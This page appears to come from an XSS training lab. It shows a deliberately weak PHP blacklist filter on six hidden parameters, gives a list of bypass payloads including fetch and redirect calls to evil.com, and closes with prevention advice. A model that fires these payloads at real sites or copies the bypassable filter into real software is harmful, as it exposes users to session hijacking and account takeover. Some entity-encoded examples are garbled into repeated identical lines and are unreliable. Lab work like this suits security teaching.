KrazePlanetLabs - Ultimate Bypass Prevention XSS Lab

Ultimate Challenge

Lab Overview

This lab demonstrates the most extensive bypass prevention ever implemented. The blacklist now covers multiple string concatenation patterns, HTML entity encoding variations, and Unicode escapes for the "confirm" function, making this the ultimate XSS challenge.

Ultimate Bypass Prevention: The blacklist now includes comprehensive coverage of string concatenation, HTML entities, and Unicode escapes specifically targeting the "confirm" function with every possible character encoding variation.

Multiple Hidden Parameters: There are 6 hidden parameters (id, cat, page, number, page_id, categoryid) not shown in the main form. All use the same ultimate bypass prevention filter.

# use arjun tool to find hidden parameters: id, cat, page, number, page_id, categoryid

Parameter Security Levels:

Secure fname, lname - Uses htmlspecialchars()

Ultimate Filter 6 parameters - Ultimate bypass prevention

Comprehensive Coverage Multiple encoding variations blocked

Final Challenge The ultimate test of XSS bypass skills

Ultimate Blacklist Filter Details:

Standard Blacklist Items:

details alert confirm prompt eval ontoggle onmousemove onmouseover onfocus img image svg

script Script sCript scRipt scrIpt scriPt scripT SCript SCRipt SCRIpt SCRIPt SCRIPT

String Concatenation Patterns Blocked:

"c"+"onfirm(1)"> "co"+"nfirm(1)"> "con"+"firm(1)"> "conf"+"irm(1)"> "confi"+"rm(1)"> "confir"+"m(1)"> "confirm"+"(1)"> "c"+"o"+"n"+"f"+"i"+"r"+"m"+"(1)">

HTML Entity Encoding Blocked:

confirm(1)> confirm(1)> confirm(1)> confirm(1)> confirm(1)> confirm(1)> confirm(1)> confirm(1)>

Unicode Escapes Blocked:

\u0063onfirm(1)> c\u006fnfirm(1)> co\u006efirm(1)> con\u0066irm(1)> conf\u0069rm(1)> confi\u0072m(1)> confir\u006d(1)> \u0063\u006f\u006e\u0066\u0069\u0072\u006d(1)>

Parameter: id

Ultimate bypass prevention

Parameter: cat

Ultimate bypass prevention

Parameter: page

Ultimate bypass prevention

Parameter: number

Ultimate bypass prevention

Parameter: page_id

Ultimate bypass prevention

Parameter: categoryid

Ultimate bypass prevention

Secure Parameters (fname, lname):

Input: <script>confirm(1)</script>

Output: <script>confirm(1)</script>

Ultimate Blacklist Filtered:

Input: <script>"c"+"onfirm(1)"</script>

Output: <>""+""</>

The ultimate blacklist filter comprehensively blocks multiple encoding variations, making this the most challenging XSS bypass test.

Overall Security Level: Extreme Security

Objective: Discover all hidden parameters and find creative ways to bypass the ultimate blacklist filtering to execute XSS payloads.

Backend Source Code

// Standard secure parameters
if(isset($_GET["fname"]) && isset($_GET["lname"])){
    echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
    echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}

// Ultimate bypass prevention for hidden parameters
elseif(isset($_GET["id"])){
    $arr = array(
        // Standard blacklist
        'details','alert','confirm','prompt','eval',
        'ontoggle','onmousemove','onmouseover','onfocus',
        'script','Script','sCript','scRipt','scrIpt','scriPt',
        'scripT','SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT',
        'img','image','svg',
        
        // String concatenation patterns
        '"c"+"onfirm(1)">', '"co"+"nfirm(1)">', '"con"+"firm(1)">',
        '"conf"+"irm(1)">', '"confi"+"rm(1)">', '"confir"+"m(1)">',
        '"confirm"+"(1)">', '"c"+"o"+"n"+"f"+"i"+"r"+"m"+"(1)">',
        
        // HTML entity encoding
        "confirm(1)>", "confirm(1)>", "confirm(1)>",
        "confirm(1)>", "confirm(1)>", "confirm(1)>",
        "confirm(1)>", "confirm(1)>",
        
        // Unicode escapes
        "\u0063onfirm(1)>", "c\u006fnfirm(1)>", "co\u006efirm(1)>",
        "con\u0066irm(1)>", "conf\u0069rm(1)>", "confi\u0072m(1)>",
        "confir\u006d(1)>", "\u0063\u006f\u006e\u0066\u0069\u0072\u006d(1)>"
    );
    $re = str_replace($arr, '', $_GET['id']);
    echo $re;
}
// Same filter applied to: cat, page, number, page_id, categoryid

Test Input Forms

Visible Parameters (HTML Encoded)

Hidden Parameters (Ultimate Bypass Prevention)

Challenge: 6 parameters (id, cat, page, number, page_id, categoryid) are hidden but implemented with the ultimate bypass prevention filter.

Parameter 'id' Ultimate Filter

Uses ultimate bypass prevention filtering

Parameter 'cat' Ultimate Filter

Uses same ultimate filtering

Parameter 'page' Ultimate Filter

Uses same ultimate filtering

Parameter 'number' Ultimate Filter

Uses same ultimate filtering

Parameter 'page_id' Ultimate Filter

Uses same ultimate filtering

Parameter 'categoryid' Ultimate Filter

Uses same ultimate filtering

Advanced XSS Bypass Techniques for Ultimate Filter

Ultimate Challenge: The filter comprehensively blocks most common bypass techniques for the "confirm" function. You'll need to think outside the box!

Alternative Functions (Not Filtered):

<script>print()</script>
<script>open()</script>
<script>console.log(1)</script>
<script>fetch('http://evil.com')</script>
<script>XMLHttpRequest()</script>
<script>location.href='http://evil.com'</script>
<script>document.write('XSS')</script>
<script>document.domain</script>

Alternative String Manipulation:

<script>window['al'+'ert'](1)</script>
<script>this['al'+'ert'](1)</script>
<script>self['al'+'ert'](1)</script>
<script>top['al'+'ert'](1)</script>
<script>parent['al'+'ert'](1)</script>
<script>frames['al'+'ert'](1)</script>
<script>window['al'.concat('ert')](1)</script>
<script>window[`al${''}ert`](1)</script>

Alternative Encoding Methods:

<script>window['\x61lert'](1)</script>
<script>window['\141lert'](1)</script>
<script>window['a'+'l'+'e'+'r'+'t'](1)</script>
<script>window[String.fromCharCode(97,108,101,114,116)](1)</script>
<script>window['al'['concat']('ert')](1)</script>
<script>window['al'+String.fromCharCode(101,114,116)](1)</script>

Ultimate Filter Analysis:

This filter is extremely comprehensive but still has some potential gaps:

Alternative functions: Many JavaScript functions aren't blocked
Different string manipulation: Some concatenation patterns might work
Alternative encoding: Some encoding methods might not be covered
Global objects: Multiple ways to access functions via objects
Alternative tags/events: Many HTML elements and events not blocked
Template literals: Advanced string manipulation might work
Character code methods: String.fromCharCode() might bypass filters

Ultimate Bypass Strategies:

Use alternative JavaScript functions not related to "confirm"
Use different string manipulation patterns
Use alternative character encoding methods
Use global objects to access blocked functions
Use HTML tags and events not in the blacklist
Use template literals or other advanced string manipulation
Use character code conversion methods
Combine multiple techniques for complex payloads

Security Implications

Ultimate bypass prevention demonstrates:

Even the most comprehensive blacklists have limitations
Creative attackers can always find new bypass methods
Multiple attack vectors provide redundancy
New JavaScript features constantly expand attack surface
Browser updates may introduce new bypass techniques
Whitelist approaches remain the only truly secure method
Context-aware encoding is essential for security
Security through blacklisting is fundamentally flawed

Best Practices

For truly secure web applications:

Use context-aware output encoding instead of blacklists
Implement strict Content Security Policy (CSP) headers
Validate input based on expected data types and patterns
Use security libraries/frameworks for output encoding
Test all parameters with advanced bypass techniques
Apply consistent security controls across all parameters
Assume any blacklist can and will be bypassed
Regularly update security controls as new threats emerge
Use whitelist validation for all user inputs

Real-World Security Implications

Common Ultimate Filter Scenarios:

Enterprise security products: Often use sophisticated but bypassable filters
Security research: Testing the limits of filtering techniques
Legacy applications: May have accumulated extensive but flawed filters
Custom security implementations: Often over-engineered but incomplete

Impact of Ultimate Filter Bypass:

Complete application compromise despite extensive filtering
Session hijacking through cookie theft
Account takeover attacks
Phishing attacks from within the application
Data exfiltration and privacy breaches
Reputation damage and legal consequences
Demonstration of fundamental security flaws

Advanced Prevention Strategies:

Context-aware encoding: Use proper encoding for each output context
Input validation: Validate based on expected data types and patterns
Content Security Policy: Implement strict CSP headers
Security testing: Test all parameters with advanced bypass techniques
Parameter discovery: Use tools to find all parameters during testing
Security headers: Implement X-XSS-Protection, X-Content-Type-Options
Regular updates: Keep security controls updated with new threats
Security training: Educate developers about secure coding practices

Ultimate Bypass Prevention XSS Lab

Lab Overview

Ultimate Blacklist Filter Details:

Parameter: id

Parameter: cat

Parameter: page

Parameter: number

Parameter: page_id

Parameter: categoryid

Visible Parameters (HTML Encoded)

Hidden Parameters (Ultimate Bypass Prevention)

Alternative Functions (Not Filtered):

Alternative String Manipulation:

Alternative Encoding Methods:

Alternative Tags/Events:

Ultimate Filter Analysis:

Ultimate Bypass Strategies:

Common Ultimate Filter Scenarios:

Impact of Ultimate Filter Bypass:

Advanced Prevention Strategies: